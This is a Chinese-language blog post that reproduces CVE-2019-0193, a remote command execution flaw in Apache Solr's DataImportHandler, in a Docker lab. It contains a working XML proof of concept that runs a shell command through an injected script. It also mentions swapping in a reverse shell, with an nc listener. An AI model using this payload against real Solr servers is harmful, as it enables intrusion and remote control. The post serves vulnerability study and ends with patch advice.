Apache Solr 远程命令执行漏洞复现
2019 年 8 月 1 日,Apache Solr 官方发布了 CVE-2019-0193 漏洞预警,漏洞危害评级为严重。
此次漏洞出现在 Apache Solr 的 DataImportHandler ,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的 DIH 配置都可以通过外部请求的 dataConfig 参数来设置。由于 DIH 配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。
360CERT 判断漏洞等级为高,建议 Apache Solr 用户及时升级以防止攻击者攻击。
POC
<dataConfig>
<script><![CDATA[
function f1(row){
var run = java.lang.Runtime.getRuntime().exec("touch /tmp/success");
row.put('name', 'Hello World!');
return row;
}
]]></script>
<document>
<entity name="person" transformer="script:f1" query="select * from person" pk="id">
<field column="id" name="id" />
<field column="name" name="name" />
</entity>
</document>
</dataConfig>
漏洞成因
该漏洞的产生是由于两方面的原因:
- 用户在
solrconfig.xml
文件中设置了DataImportHandler
,开启了DataImport
功能。 DataImportHandler
模块允许用户自己包含脚本,来进行配置。
攻击者可以通过构造恶意的脚本交由转换器进行解析,在 Solr 解析的过程中并未对用户的输入做检查,可导致攻击者远程在 Solr 服务器上执行命令。
环境搭建
solr 部署
本环境采用 docker 部署 拉取镜像:docker pull solr: 8.1.1 启动容器:docker run –name solr -d -p 8983:8983 -t solr:8.1.1 访问 http://IP:8983/
,apache solr 框架部署完毕
开启 DataImportHandler 插件
新建 core:
点击 Add Core,solr 系统报错。
然后执行:docker exec -it –user root solr /bin/bash,进入 solr 容器。
进入容器后,执行:
cp /opt/solr-8.1.1/server/solr/configsets/_default/conf /var/solr/data/new_core/
cp /opt/solr/dist/solr-dataimporthandler-8.1.1.jar /opt/solr/server/solr-webapp/webapp/WEB-INF/lib
cp /opt/solr/dist/solr-dataimporthandler-extras-8.1.1.jar /opt/solr/server/solr-webapp/webapp/WEB-INF/lib
cd /var/solr/data/new_core/conf/
vim solrconfig.xml
DataImportHandler 插件配置
将下面的 XML 添加到 solrconfig.xml
中
<requestHandler name="/dataimport"
class="org.apache.solr.handler.dataimport.DataImportHandler" >
<lst name="defaults">
<str name="config">data-config.xml</str>
</lst>
</requestHandler>
注
:XML 的格式一定按照上述格式,否则会报错!
执行 vim data-config.xml
,并将下面 XML 保存至该文件:
<dataConfig>
<dataSource driver="com.mysql.jdbc.Driver" url="jdbc:mysql://IP:3306/securityTest" user="root" password="root" />
<document>
<entity name="person" query="select * from person" pk="id">
<field column="id" name="id" />
<field column="name" name="name" />
</entity>
</document>
</dataConfig>
然后将 mysql-connector-java-5.1.48.jar
放入 /opt/solr/server/solr-webapp/webapp/WEB-INF/lib
文件夹下
重启 solr
然后重启 solr: ./opt/solr/bin/solr restart
至此,漏洞环境搭建完毕,搭建成功的截图如下:
漏洞测试
访问管理页面
浏览器访问: http://IP:8983/
开启 Debug 模式
将 poc 复制到 Configuration 中:
可在标注的地方更换受害机执行的命令,本文以反弹 shell
为例。
开启监听
nc -lp 4567
执行命令
点击 Execute with this Configuration
执行成功可以发现 shell 已经成功反弹:
影响范围
- Apache Solr < 8.2.0
修复建议
- 将 Apache Solr 升级至 8.2.0 或之后的版本
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论